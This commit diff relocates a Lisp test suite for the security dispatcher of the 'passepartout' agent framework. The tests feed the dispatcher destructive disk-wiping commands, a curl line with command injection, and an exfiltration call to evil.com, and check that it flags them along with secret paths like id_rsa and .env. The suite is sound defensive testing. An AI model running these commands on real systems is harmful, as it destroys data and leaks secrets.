v0.8.3: TUI stabilization — box calls, package fixes, sandbox, configure
Bug fixes: - Fix box() calls: set color-pair before box, pass ACS default chtype integers - Fix markdown functions: move to passepartout.channel-tui package where Croatoan is imported; use add-attributes/remove-attributes instead of :bold/:underline kwargs to add-string; call theme-color in gate-trace-lines to convert theme keys to Croatoan colors - Fix sandbox: remove dex:get/dex:post from restricted symbols (blocked neuro-provider from loading) - Export *log-lock* from passepartout (was unbound in jailed skill packages) - Fix configure: always deploy to XDG, skip cp when source==dest - Fix bash crash handler format string (~~ escaping) - Revert test reorder in 28 files (caused package leakage in skill loader) Design cleanup: - Extract tui-run-screen from tui-main for clean separation - Remove inject-stimulus alias - Merge *backend-registry* into *probabilistic-backends* - Fix read-framed-message whitespace DoS (4096-iteration max) - Add *read-eval* nil to dispatcher-approvals-process read-from-string
This commit is contained in:
@@ -80,196 +80,6 @@ daemon restarts — it tracks what happened /this/ session, which is what the
|
||||
sidebar shows. Historical block telemetry belongs in the telemetry system
|
||||
(v0.12.0).
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -992,7 +802,195 @@ from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
|
||||
(list :total total :by-gate sorted)))
|
||||
#+end_src
|
||||
|
||||
* v0.8.0 Tests — Block Counts
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
#+end_src* v0.8.0 Tests — Block Counts
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user